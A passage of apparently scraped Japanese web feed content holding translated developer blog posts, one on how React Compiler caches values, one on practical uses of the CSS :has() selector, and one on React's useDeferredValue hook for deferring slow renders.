const listItems = pItems.map((item) => <li>{ item }</li>);
return (
<ul>{ listItems }</ul>
)
}
コンパイル後は次のようになります。
function App() {
const $ = _c(1);
let t0;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
t0 = <List items={items} />;
$[0] = t0;
} else {
t0 = $[0];
}
return t0;
}
function List(t0) {
const $ = _c(6);
const { items } = t0;
useState(null);
let t1;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
t1 = {};
$[0] = t1;
} else {
t1 = $[0];
}
useReducer(reducer, t1);
useState(0);
let t2;
if ($[1] !== items) {
const pItems = processItems(items);
let t3;
if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
t3 = (item) => <li>{item}</li>;
$[3] = t3;
} else {
t3 = $[3];
}
t2 = pItems.map(t3);
$[1] = items;
$[2] = t2;
} else {
t2 = $[2];
}
const listItems = t2;
let t3;
if ($[4] !== listItems) {
t3 = <ul>{listItems}</ul>;
$[4] = listItems;
$[5] = t3;
} else {
t3 = $[5];
}
return t3;
}
これが新しく書き直されたList関数です。かなりの情報量なので、少し分解して説明します。
冒頭に次の行があります。
const $ = _c(6);
この_c
関数("c"は「キャッシュ」を表します)は、Hooksを使用して保存される配列を作成します。React CompilerはLink
関数を解析し、パフォーマンスを最大限に高めるには6つのものを保存する必要があると判断したのです。最初に関数が呼び出されたとき、その6つのものの結果を配列に保存します。
次に関数が呼び出されたときにはキャッシュが使われます。例として、processItems
を呼び出す部分を見てみましょう。
if ($[1] !== items) {
const pItems = processItems(items);
let t3;
if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
t3 = (item) => <li>{item}</li>;
$[3] = t3;
} else {
t3 = $[3];
}
t2 = pItems.map(t3);
$[1] = items;
$[2] = t2;
} else {
t2 = $[2];
}
関数の呼び出しとli
の生成の両方を含む、processItems
に関するすべての処理がラップされた状態で、配列で2番目のキャッシュ($[1]
)が、前回関数が呼び出されたときと同じ入力値かどうかを確認します(List
に渡されるitems
の値)。
同じであれば、キャッシュ配列で3番目の位置($[2]
)が使われます。items
のマッピングが完了すると、生成されたすべてのli
のリストが保存されます。React Compilerのコードはこう言っているのです。「前回この関数を呼び出したときと同じアイテムのリストを渡してくれたら、前回キャッシュに保存したli
のリストをあげます。」
前回と違うitems
を渡すと、processItems
を呼び出します。その場合でも、リストの中の個々のアイテムについての情報をキャッシュに保存します。
if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
t3 = (item) => <li>{item}</li>;
$[3] = t3;
} else {
t3 = $[3];
}
t3 =
の行をご覧ください。li
を返すアロー関数を再度作成するのではなく、キャッシュ配列で4番目の位置($[3]
)に関数自体を保存しています。これにより、JavaScriptエンジンは次にList
が読み出されたときにこの関数を作成する必要がなくなります。この関数は決して変わることがないため、最初のif文は基本的にこう言っています。「キャッシュ配列のこの場所が空いているならキャッシュしてください。空いていなければキャッシュから取得してください。」
このようにして、Reactは自動的に値をキャッシュし、関数の結果をメモ化します。Reactが出力するコードは我々が書いたコードと機能は同じですが、これらの値をキャッシュするためのコードを含んでおり、Reactが繰り返し関数を呼び出すことでパフォーマンスが損なわれないようにしています。
ただし、React Compilerのキャッシュは開発者が一般的にメモ化で行うキャッシュよりも詳細であり、しかも自動的にこれを行っています。つまり、開発者は手動で依存関係やメモ化を管理する必要がないのです。コードさえ書けば、React Compilerがそれをもとに新しいコードを生成し、キャッシュを利用することで高速化も実現してくれます。
React CompilerがまだJSXを生成していることも言っておくべきでしょう。実際に実行されるコードは、JSXのトランスパイルを行った上でReact Compilerが生成したものです。
JavaScriptエンジンで実際に実行される(ブラウザに送られるか、サーバー上で実行される)List
関数は、次のようなものです。
function List(t0) {
const $ = _c(6);
const {
items
} = t0;
useState(null);
let t1;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
t1 = {};
$[0] = t1;
} else {
t1 = $[0];
}
useReducer(reducer, t1);
useState(0);
let t2;
if ($[1] !== items) {
const pItems = processItems(items);
let t3;
if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
t3 = item => _jsx("li", {
children: item
});
$[3] = t3;
} else {
t3 = $[3];
}
t2 = pItems.map(t3);
$[1] = items;
$[2] = t2;
} else {
t2 = $[2];
}
const listItems = t2;
let t3;
if ($[4] !== listItems) {
t3 = _jsx("ul", {
children: listItems
});
$[4] = listItems;
$[5] = t3;
} else {
t3 = $[5];
}
return t3;
}
React Compilerは、値をキャッシュするための配列と、そのために必要なすべてのif文を追加しました。JSXトランスパイラはJSXをネストされた関数に変換しました。あなたが書いたコードとJavaScriptエンジンが実行するコードの間には大きな違いがあります。つまり、他人が書いたコードが、自分が当初意図したとおりのものを生成してくれることを信用する必要があります。
メモ化とキャッシュは、大まかに言うとメモリを犠牲にしてCPUへの負荷を軽減することを意味します。CPUがパフォーマンスコストの高い演算を行わなくて済む代わりに、メモリ容量を消費してデータを保存しているのです。
React Compilerを使用するということは、デバイスのメモリ上にできるだけデータを保存するということです。ユーザーデバイスのブラウザ上でコードを実行する場合、この点はアーキテクチャの面で意識する必要があります。
多くのReactアプリでは大きな問題にならないでしょう。しかし、アプリ上で大量のデータを扱う場合、実験ステージを経たReact Compilerを使うのであれば、少なくともデバイスメモリが使用されることを意識し、メモリの使用状況を注視する必要があるでしょう。
形式を問わず、コンパイルはすべて自分が書いたコードと実際に実行されるコードの間の抽象化レイヤーに相当します。
この記事で説明したように、React Compilerの場合、実際にブラウザに送られるコードの内容を理解するためには、自分のコードをReact Compilerにかけて、生成されたコードをJSXトランスパイラにかけてみる必要があります。
コードに抽象化レイヤーを加えることにはデメリットもあります。デバッグが難しくなる場合があるのです。だからと言って使用を避けた方がいいというわけではありませんが、デバッグ対象のコードは自分が書いたものだけではなく、ツールが生成したものだということは頭に入れておく必要があります。
抽象化レイヤーから生成されたコードをデバッグする上では、抽象化について正確なメンタルモデルを持っておくことが成果を大きく左右します。React Compilerの仕組みを完全に理解することで、生成されたコードをデバッグできるようになり、ストレスなく開発作業を行えるようになるでしょう。
このブログ記事が有益だと感じていただけたなら、筆者が提供しているUnderstanding Reactというコースもぜひご検討ください。計16.5時間にわたり、Reactのあらゆる機能について同様に深く掘り下げています。生涯にわたるアクセス権とすべてのソースコード、修了証が得られます。
筆者はReactのソースコードも、React Compilerのソースコードも、すべて読みました。なぜかと言うと、Reactの仕組みを内部実装レベルから説明できるようにするためです。
React自体は、Webを基礎とし、その上に構築された大きな抽象化レイヤーです。抽象化ではよくあることですが、Reactを使用する開発者のほとんどは、その仕組みについて正確なメンタルモデルを持っていません。それが、Reactベースのアプリケーションをビルドし、デバッグする上で大きな影響を及ぼしています。しかし、Reactについて深く理解することは可能です。
React 19の機能とReact Compilerに関する新しい内容を近々コースに追加する予定です。すでに受講されている方は無料でご利用いただけます。コースの方もぜひチェックしてみてください。最初の6時間分の内容は、筆者のYouTubeチャンネルで無料公開しています。以下がその動画です。
単に誰かが書いたコードをまねするだけではなく、自分の仕事を本当の意味で理解する旅に、一緒に出かけてみませんか? -- トニー
]]>:has()疑似クラスは筆者が断トツで一番気に入っているCSSの新機能です。筆者と同じ意見の読者も多いでしょう。少なくとも、State of CSSのアンケートに回答した方の中には多くいるはずです。セレクタを逆向きに指定できることで、これまでできると思いもしなかったようなすごいことがもっと可能になります。
「もっと」と言うのは、すでに多くの人が極めてスマートなアイデアを色々と発表しているからです。以下に一部紹介します。
この記事は、:has()の使い方に関する包括的なガイドではありません。すでに誰かが語ったことを繰り返しているわけでもありません。ちょっとだけ流行に乗って(hi👋)筆者が考えている:has()の使い方を紹介できればと思い、この記事を書いています。ただし、実際に使うのはブラウザ側の対応がもう少し進んでからですが。(Firefoxだけが未対応ですが、もうすぐ対応すると思います。)(※訳註 2024年8月現在は対応済)
その日が来れば、間違いなく:has()を使いまくるでしょう。筆者が最近ビルドした実例から、:has()の恩恵を特に受けそうなものをいくつか紹介します。
ページの他の部分のスタイルを変える必要のあるインタラクティブコンポーネントを作成したことはありますか? 次の例をご覧ください。ここで、<nav>
はメガメニューを表し、開くとその上の<header>
コンテンツの色が変わります。
筆者の仕事ではこうした処理がしょっちゅう必要になります。
これは、筆者があるサイトで使用するために作ったReactコンポーネントです。この例では、document.querySelector(...)を使用してページのReact以外の部分と連携し、<body>
、<header>
または別のコンポーネントのクラスを切り替える必要がありました。この世の終わりというほどのことではありませんが、面倒であることに違いありません。全部Reactで記述したサイト(Next.jsサイトなど)であっても、menuIsOpenのstateをコンポーネントツリーのずっと上の方で管理するか、あまりReact的ではありませんが、先程挙げた例と同じように、DOM要素の取得とクラスの切り替えを行う必要があります。
この問題は、:has()を使うことで解決します。
header:has(.megamenu--open) {
/* style the header differently if it contains
an element with the class ".megamenu--open"
*/
}
JavaScriptコンポーネントの他のDOM要素をいじる必要はもうありません!
1行おきに背景色を追加した「ストライプテーブル」は、UXの向上に役立ちます。行を目で追いやすくなるため、表が見やすくなります。
しかし、筆者の経験では2、3行しかない表ではあまりうまく行きません。例えば、<tbody>
が3行の表で「偶数」行に背景色を付けた場合、色付きの行は1行だけになります。そうするとあまり意味はなく、ハイライトされた1行に何か特別な意味があるのではないかと逆にユーザーを困惑させてしまうことになり兼ねません。
Bramus氏が:has()を使用して子の数に応じてスタイルを使い分ける方法を説明していますが、このテクニックを使用することで、4行以上ある表にストライプスタイルを適用することができます。
もっと手の込んだことがしたければ、列の数が一定数以上の場合のみストライプスタイルを適用することもできます。
table:has(:is(td, th):nth-child(3)) {
/* only do stuff if there are three or more columns */
}
ページの内容に応じてレイアウトを変えなくてはならないことがよくあります。以下のグリッドレイアウトをご覧ください。サイドバーの有無に応じて、メインコンテンツが配置されるグリッド領域が変わっています。
これは、CMSに兄弟ページが設定されているかどうかで変わる可能性があります。筆者は通常、両方のレイアウトに対応するため、テンプレートロジックを使用してレイアウトのラッパーにBEM修飾子クラスを条件付きで追加しています。その場合、CSSは次のようになります(簡略化のため、レスポンシブルールなどは省いています)。
/* m = main content */
/* s = sidebar */
.standard-page--with-sidebar {
grid-template-areas: 's s s m m m m m m m m m';
}
.standard-page--without-sidebar {
grid-template-areas: '. m m m m m m m m m . .';
}
CSS的には、もちろんこれでも全く問題ありません。しかし、若干ごちゃごちゃしたテンプレートコードにはなってしまいます。テンプレートに使用する言語によっては、多くのクラスを条件付きで追加すると、かなり乱雑な見た目になってしまう場合があります。多くの子要素も使用しなければならない場合は特にそうです。
では、:has()を使ったやり方と比べてみてください。
/* m = main content */
/* s = sidebar */
.standard-page:has(.sidebar) {
grid-template-areas: 's s s m m m m m m m m m';
}
.standard-page:not(:has(.sidebar)) {
grid-template-areas: '. m m m m m m m m m . .';
}
正直なところ、CSS的にはそれほど大きな改善ではありません。しかし、HTMLテンプレートからモディファイアー部分のクラス名を省けるのはプラスだと思います。
:has()を使ったデザインの小技は簡単に思い浮かびます(例えば画像入りのカードなど)が、こうしたレイアウトの大きな変更にもかなり威力を発揮すると思います。
前回の記事を読んだ方であれば、筆者が詳細度にうるさいことはご存じかと思います。筆者のように、スタイル全体に:has()や:not()を追加することで詳細度が上がりすぎるのを避けたい場合は、:where()を使用するようにしましょう。
これは、:has()の詳細度は引数リストの中で最も詳細度の高い要素に基づくためです。したがって、IDのようなものが含まれていれば(なぜかは分かりませんが)、カスケード上でセレクタがオーバーライドされにくくなります。
一方、:where()の詳細度は常にゼロなので、詳細度が上がることはありません。
/* specificity score: 0,1,0.
Same as a .standard-page--with-sidebar
modifier class
*/
.standard-page:where(:has(.sidebar)) {
/* etc */
}
これらはほんの一部ですが、本番環境で使えるようになるのが待ち遠しいです。(※訳註 2024年8月現在は対応済) CSS-Tricks Almanacでも多くの実例が紹介されています。皆さんは:has()を使ってどんなことがしたいですか? あなたが実際に直面したシチュエーションで、:has()が完璧な解決策になりそうなものはこれまでにありましたか?
]]>登場以来、Reactはアプリケーションのパフォーマンスを最適化するためのツールを多数供してきました。中には極めて有益でありながら、あまり知られていないものもあります。useDeferredValue
はその一つです。このツールは、特定の状況においてユーザーエクスペリエンスを大きく左右することができます。⚡
筆者は最近このフックを使用し、このブログの厄介なパフォーマンス問題を解決したのですが、そのあまりの効果に衝撃を受けました。低性能デバイスでは反則級の改善が見られ、まるで黒魔術のようでした。
useDeferredValue
には若干気後れさせるような評判があり、実際かなり洗練されたツールではあるのですが、正しいメンタルモデルで向き合えば恐るるに足りません。このチュートリアルでは、その仕組みと、アプリケーションのパフォーマンスを劇的に改善させる使い方を詳しく説明します。
数年前、筆者は本物のような影を生成するShadow Palette Generatorというツールをリリースしました。
スライダーなどのUIコントロールを動かしてみることで、自分だけの影をデザインすることができます。CSSコードを自分のアプリケーションにコピペすることも可能です。
問題は次の点です。このUI上のコントロールは、「即座に」結果が反映されるよう設計されています。例えば、ユーザーが「Oomph」スライダーを動かすと、その効果がすぐに見られます。つまり、スライダーを動かす間、UIが「1秒間に数十回再レンダリングされる」ということです。
Reactは高速ですし、このUIの大部分は容易にアップデート可能です。問題は、シンタックスハイライトされた下部のコードスニペットです。
シンタックスハイライトの処理は驚くほど複雑です。まず、rawコードを「トークン化」する必要があります。この工程では、コードをいくつかに分けてラベルを付けます。各トークンには異なる色を付けられるため、それぞれ<span>
タグでラップする必要があります。
このスニペットの中の1行に対して必要なマークアップの量は以下の通りです。
最適化していない状態だと、Reactはこれだけのマークアップを 1秒間に何十回も再計算する必要があります。ほとんどのデバイスでは、ブラウザの処理が追いつかず、画面がカクカクします。
change
イベントは1秒間に最大60回発生しますが、UIが1秒間に処理できる更新の数はわずかです。UIの質が低く、反応が悪いと感じるのはそのためです。
これは興味深い問題です。このUIで最も重要な部分は、影の外観を示した左側の図です。この部分は、ユーザーが設定変更の影響を把握できるよう、変更が行われたら直ちに更新することが望まれます。また、コントロール自体も反応良くスムーズに動かないといけません。
一方、コードスニペットは1秒間に何十回も更新する必要はありません。ユーザーにとって重要なのは、自分のアプリケーションにコピーする最終的なコードだけです。変更を加えるたびに再計算を行うと、ユーザーエクスペリエンス全体が損なわれてしまいます。 言い換えると、このUIには優先度の高い領域(High Priority)と低い領域(Low Priority)があるということです。
優先度の高い領域はリアルタイムに、できるだけ迅速に更新し、優先度の低い領域は後回しにします。
この問題を解決するために、私は当初「スロットリング」という手法を用いました。具体的に言うと、このコンポーネントに対して200ミリ秒ごとにしか再レンダリングできないように制限をかけたのです。 その結果がこちらです。
UIの他の部分に比べてコードスニペットの更新頻度が低いことに気づいたでしょうか。UIの他の部分は必要に応じて何度でも再レンダリングできますが、この部分は200ミリ秒に1回、つまり1秒間に5回しか更新されません。
この方法でも問題は改善しますが、完全なソリューションと言うには程遠い結果です。
まだ少し遅く、低品質に感じます。UIの一部を意図的に遅くしていることはユーザーには分からないので。
もっと重要な点は、超高性能な最新のコンピューターや低価格の古いAndroidスマホなど、人によって使用するデバイスはさまざまだということです。ユーザーのデバイスが十分高速なら、スロットリングは不要であり、意味もなく処理速度を下げているだけです。一方、デバイスが本当に遅ければ、200ミリ秒でさえ十分ではない可能性があり、そうするとUIの重要な部分がスムーズに表示されません。
こうした問題の解決に有効なのが、useDeferredValueです。
useDeferredValue
は、UIを優先度の高い領域と低い領域に切り分けられるReactフックです。何か重要なことが起きると、Reactが処理を中断できるようにします。
仕組みを理解するために、簡単な例から見ていきましょう。次のコードをご覧ください。
function App() {
const [count, setCount] = React.useState(0);
return (
<>
<ImportantStuff count={count} />
<SlowStuff count={count} />
<button onClick={() => setCount(count + 1)}>
Increment
</button>
</>
);
}
ここでのstateはcount
です。これは、ボタンをクリックするごとに増えていく数字です。ImportantStuff
はUIの中で優先度の高い部分を表します。つまり、count
が増えるたびに直ちに更新したい部分です。SlowStuff
は、UIの中で重要性が低い部分を表します。
ユーザーがボタンをクリックしてcount
が増えるたびに、ReactはUIを更新する前にこれらの子コンポーネントを両方とも再レンダリングする必要があります。
詳しく分析してみましょう。下のボタンをクリックして、実際にレンダリングが行われる様子をご覧ください。
(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます)
このデモのUIは、録画されたインタラクションの動画です。タイムラインのスライダーを動かすと、その時点のUIの状態を確認することができます。ボタンをクリックするとレンダリングが始まりますが、レンダリングが完了するまでUIが更新されない点に注目してください。
ImportantStuff
とSlowStuff
の両方のレンダリングが、Reactが行う必要のある処理の全体です。次のスナップショットをクリックまたはタップして、中をのぞいてみてください。
(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます)
この仮想的な例では、ImportantStuff
は極めて高速でレンダリングされ、ほとんどの時間はSlowStuff
のレンダリングに費やされます。
ユーザーがボタンをクリックする間隔が短すぎると、Reactが処理を完了する前に次の更新が行われるため、レンダリングが積み重なってしまいます。そうすると、UIが低品質に感じられます。
(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます)
最初のレンダリング(count: 1
)が完了する前にユーザーが再度ボタンをクリックし、count
が2
になります。Reactは最初のレンダリングを放棄し、正しいcount
値で新しいレンダリングを開始します。UIは、レンダリングが正常に完了して初めて更新されます。
これらを踏まえた上で、useDeferredValue
を使ってどのように問題を解決できるのか見てみましょう。
以下がコードです。
function App() {
const [count, setCount] = React.useState(0);
const deferredCount = React.useDeferredValue(count);
return (
<>
<ImportantStuff count={count} />
<SlowStuff count={deferredCount} />
<button onClick={() => setCount(count + 1)}>
Increment
</button>
</>
);
}
最初のレンダリングでは、count
とdeferredCount
の値はどちらも(0
)です。しかし、ユーザーが「Increment」ボタンをクリックすると興味深い現象が起こります。
(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます)
今度は、レンダリングごとにcount
の値と、count
とdeferredCount
の値のみ、線で区切られて表示されます。
試してみよう
何が起きているのかは後ほど詳しく説明します。まずは自分で少し触ってみてください。Reactがどのような処理を行っていて、それがなぜ有益なのか分かりますか?
タイムラインは友達です。黄色いスライダーをクリックするか押さえてドラッグすることで、動画を前後に進めることができます。もしくは、タイムラインを選択し、左右の矢印キーで1フレームずつ動かすこともできます。
では詳しく見てみましょう。count
stateが変わると、App
コンポーネントは直ちに再レンダリングを行います。count
は1
になりますが、興味深いことに、deferredCount
は変わっておらず、0
のままです。
これはつまり、SlowStuff
に渡されたpropsが前回のレンダリング時と全く同じだということです。React.memo()
によってメモ化されている場合、Reactは何を生成するかすでに分かっているため、わざわざ再レンダリングすることなく、最初のレンダリング時のデータを再利用します。
そのレンダリングが完了すると、すぐに2回目の再レンダリングが始まりますが、今度はdeferredCount
が更新されており、count
の値と同じ1になっています。これは、今回はSlowStuff
の再レンダリングが行われることを意味します。ここまでの処理が完了すると、UIが完全に更新されます。
そこまでする必要はあるのでしょうか?ここまで読んで、不必要に複雑だと感じている読者もいるかもしれません。結果は前と同じなのに、処理が増えているのではないかと。
この仕組みが非常に優れている理由を説明しましょう。再度stateが変わり、Reactの処理が中断された場合、重要な情報はすでに更新されています。Reactは、重要性の低い2回目のレンダリングを放棄し、より重要な部分のレンダリングを直ちに開始することができます。
言葉で説明するのは難しいですが、次の録画を見ていただくと違いが分かるのではないでしょうか。
(訳注:イメージはキャプチャーです。インタラクティブサンプルは翻訳元サイトで確認できます)
前に見た動画と同じように、ユーザーがクリックする間隔が短すぎて、Reactは全ての情報を更新することができていません。しかし、再レンダリングごとに優先度の高い部分と低い部分が分かれているため、Reactはクリック間に重要な部分を更新することができているのです。追加でクリックが行われると、Reactは進行中のレンダリングを放棄しますが、優先度が低い情報のため問題ありません。
これはなかなか難しい問題です。少し難しすぎると感じているようでしたら、次のセクションで基本的な仕組みを説明しているので、こちらを読んでいただくといいでしょう。
一つ重要な点を述べます。useDeferredValue
は、優先度の低い、レンダリングの遅いコンポーネントがReact.memo()
でラップされている場合のみ機能します。
import React from 'react';
function SlowComponent({ count }) {
// Component stuff here
}
export default React.memo(SlowComponent);
React.memo()
はReactに対し、propsまたはstateが変わった場合のみこのコンポーネントを再レンダリングするよう指示します。React.memo()
がなければ、countのpropsが変わったかどうかにかかわらず、SlowComponent
は親コンポーネントが再レンダリングされるたびに再レンダリングされます。
これは本当に重要なことなので、きちんと理解する必要があります。もう少し深掘りしてみましょう。繰り返しになりますが、以下がコードです。
function App() {
const [count, setCount] = React.useState(0);
const deferredCount = React.useDeferredValue(count);
return (
<>
<ImportantStuff count={count} />
<SlowStuff count={deferredCount} />
<button onClick={() => setCount(count + 1)}>
Increment
</button>
</>
);
}
ユーザーが初めてボタンをクリックすると、count
stateが0
から1
に増えます。Appコンポーネントは再レンダリングしますが、useDeferredValue
フックは前回の値を再利用します。deferredCount
は1
ではなく0
に設定されます。
デフォルトでは、Reactはpropsが変わったかどうかにかかわらず、全ての子コンポーネントを再レンダリングします。React.memo()
が設定されていなければ、ImportantStuff
もSlowStuff
も再レンダリングされるため、useDeferredValue
を使用するメリットが得られません。
SlowStuff
をReact.memo()
でラップすると、Reactは現在のpropsを前回のものと比較し、再レンダリングが必要かどうかを判断します。deferredCount
が0
のままなので、Reactは「新しい情報はないようだ。UIのこの部分を再計算する必要はない」と判断します。
これは筆者にとって目からうろこでした。useDeferredValue
は、UIの中で優先度が低い部分のレンダリングを(退屈な宿題を先延ばしにするように)後回しにすることを可能にします。最終的にはレンダリングが行われ、UIは全て更新されますが、一旦保留にするということです。stateが変わるたびに、Reactはレンダリングを中断し、より重要な情報のレンダリングに注力するのです。
Reactのレンダリングについて考える上でのメンタルモデル
Reactのレンダリングの仕組みについて、かなり熟知している前提で話していることは分かっています。頭がクラクラしている読者には、筆者による次のブログ記事が大いに役立つと思います。
実に多くのReact開発者がReactのレンダリングの仕組みを誤解しているので、この記事を読んで誤解を解き、useDeferredValue
を理解する上で必要な知識を得ていただければと思います。
ここまでは、countのような単一のプリミティブ値を扱う場合におけるuseDeferredValue
の仕組みについて見てきましたが、現実の世界では物事がそこまで単純なことはほとんどありません。
筆者が開発した「Shadow Palette Generator」では、関連するstateがいくつかあります。
function ShadowPaletteGenerator() {
const [oomph, setOomph] = React.useState(0.5);
const [crispy, setCrispy] = React.useState(0.5);
const [backgroundColor, setBackgroundColor] = React.useState('#F00')
const [tint, setTint] = React.useState(true);
const [resolution, setResolution] = React.useState(0.75);
const [lightPosition, setLightPosition] = React.useState({
x: -0.2,
y: -0.5,
});
const cssCode = generateShadows(oomph, crispy, backgroundColor, tint, resolution, lightPosition);
return (
<>
{/* Other stuff omitted for brevity */}
<CodeSnippet lang="css" code={cssCode} />
</>
);
}
最初は、それぞれのstateについて遅延させた値を作成しなくてはならないと考えていました。
const deferredOomph = React.useDeferredValue(oomph);
const deferredCrispy = React.useDeferredValue(crispy);
const deferredBg = React.useDeferredValue(backgroundColor);
const deferredTint = React.useDeferredValue(tint);
const deferredResolution = React.useDeferredValue(resolution);
const deferredLight = React.useDeferredValue(lightPosition);
そうすることもできますが、もっと簡単な方法があります。レンダリング時に生成されるCSSコードである計算値を遅延させるのです。
const cssCode = generateShadows(oomph, crispy, backgroundColor, tint, resolution, lightPosition);
const deferredCssCode = React.useDeferredValue(cssCode);
return (
<>
{/* Other stuff omitted for brevity */}
<CodeSnippet lang="css" code={deferredCssCode} />
</>
);
このフックはuseDeferredState
ではなく、useDeferredValue
というものです。useDeferredValue() に渡す引数がstate変数でなくてはならないというルールはないのです!
基本的な仕組みを理解するのが非常に重要である理由はここにあります。重要なのは、優先度の高い部分のレンダリングを行っている際に、優先度の低いコンポーネント(この場合はCodeSnippet
)のpropsに新しい値が渡されないようにすることです。
再計算が進行中であり、UIの一部の情報が古いことをユーザーに知らせたい場合があるかもしれません。
例えば、次のような表示を使用することもできます。
<SlowStuff>
の更新が反映されるまでの間、その部分の画面を半透明にし、スピナーを表示します。そうすることで、ユーザーはUIの再計算が進行中であると分かります。
では、どうすればUIの一部がまだ更新されていないと分かるのでしょうか?実は、それを判別するためのツールがすでにあるのです。
以下がコードです。
function App() {
const [count, setCount] = React.useState(0);
const deferredCount = React.useDeferredValue(count);
const isBusyRecalculating = count !== deferredCount;
return (
<>
<ImportantStuff count={count} />
<SlowWrapper
style={{ opacity: isBusyRecalculating ? 0.5 : 1 }}
>
<SlowStuff count={deferredCount} />
{isBusyRecalculating && <Spinner />}
</SlowWrapper>
<button onClick={() => setCount(count + 1)}>
Increment
</button>
</>
);
}
UIの情報が古いかどうかは、count
とdeferredCount
を比較することで分かります。
筆者が最初にこれを見たときは、あまりに単純すぎて疑わしいと思いました。しかし、よく考えてみると理にかなっていたのです。
deferredCount
は前回の値を再利用します。count
は1
に更新されますが、deferredCount
は0
のままです。両者の値は異なります。deferredCount
が最新の値である1
に更新されます。count
とdeferredCount
の両方が同じ値になります。最初のレンダリング時に<SlowStuff>
のレンダリングを後回しにすることを可能にするのと同じ仕組みにより、UIがまだ完全に同期されていないことを見分けられるのです。実に秀逸ではないでしょうか。
実際にこれを行いたいかどうかは別問題です。筆者のShadow Palette Generatorで試してみました。
個人的には、この場合は改善しているとは言えないと思います。ユーザーには影の図に注目してもらいたいのに、コードスニペットの方に目が行ってしまいます。 しかし、場合によってはUIの一部の情報が古いことをユーザーに知らせる方法として役立つかもしれません。
数週間前にReact 19がベータ版に移行しました。間もなく公開されるこのメジャーアップデートでは、さまざまな変更が行われており、useDeferredValue
も大幅にパワーアップされる予定です。
React 19以前では、useDeferredValue
は与えられた値で初期化されていました。
function App() {
const [count, setCount] = React.useState(0);
const deferredCount = React.useDeferredValue(count);
// On the initial render:
console.log(deferredCount); // 0
console.log(count === deferredCount); // true
}
Reactには使用可能な前回値がないため、ここで説明したような二重レンダリングは行いません。したがって、実質的にuseDeferredValue
は最初のレンダリングに対しては効果がないのです。
しかし、React 19からは初期値を指定できるようになります。
const deferredCount = React.useDeferredValue(count, initialValue);
なぜそうする必要があるのでしょうか?このパターンでは、最初のレンダリングを高速化できる可能性があります。
例えば、Shadow Palette Generatorを使用して次のようなことができます。
const cssCode = generateShadows(oomph, crispy, backgroundColor, tint, resolution, lightPosition);
const deferredCssCode = React.useDeferredValue(
cssCode,
null
);
return (
<>
{/* Other stuff omitted for brevity */}
{deferredCssCode !== null && (
<CodeSnippet lang="css" code={deferredCssCode} />
)}
</>
);
優先度の高い高速レンダリングでは、deferredCssCode
はnull
となるため、<CodeSnippet>
はレンダリングすらされません。しかし、高速レンダリングが終わると、すぐにこのコンポーネントの再レンダリングが自動的に行われ、枠にコードが表示されます。
重要度の低いUI要素を待つ必要がないため、アプリケーション全体としてはレスポンスが向上するはずです。
Reactのドキュメント
このチュートリアルでは、useDeferredValueの主なユースケースの一つについて説明しましたが、Suspenseに対応したデータ取得ライブラリを使用する場合など、他にも役立つ場面があるでしょう。詳しくはReactの公式ドキュメントをご覧ください。
それでは、useDeferredValue
フックを使用した場合の結果を見てみましょう。
最高です!何もかも非常に滑らかです。💯
でもちょっと待ってください。筆者がテストに使用しているのは高性能なMacBook Proです。より性能の低いデバイスではどうでしょうか?
数年前、近所のPCショップで一番安い新品のWindowsノートパソコンを買いたいと言ったところ、インテルCeleronプロセッサーを搭載した110米ドルのAcer製ノートパソコンを引っ張り出してきてくれました。このマシンを使用し、useDeferredValue
を実装した状態で動かすとこうなります。
さっきほど滑らかではありませんが、スタートメニューを開くのさえ時間がかかるマシンにしては悪くありません。コントロールの操作を終えるまでコードスニペットが更新されない点に注目してください。ここではuseDeferredValue
が大いに役立っています。
Reactの多くの点について言えることですが、適切なメンタルモデルで臨まなければuseDeferredValue
は非常に複雑に感じられます。Reactは非常に洗練されたツールへと進化を遂げてきましたが、効果的に使いこなすためには、その仕組みを直感的に理解できるようになる必要があります。
筆者は2年近くかけてReactについて学べる究極のリソースを作り上げました。その名もThe Joy of Reactです。仕事で10年近くReactを使ってきた経験から得た知識を全て網羅しています。
もしこのブログ記事が役に立ったと感じていただけたなら、筆者のコースから得られるものは多いと思います。このコースは、多くの気づきが得られ、Reactの仕組みに関する強力なメンタルモデルを形成でき、Reactを使用して豊かでダイナミックなWebアプリケーションを構築する方法を学べる内容となっています。
コースに関する詳細は以下をご覧ください。
最後まで読んでいただきありがとうございました! 💖
]]>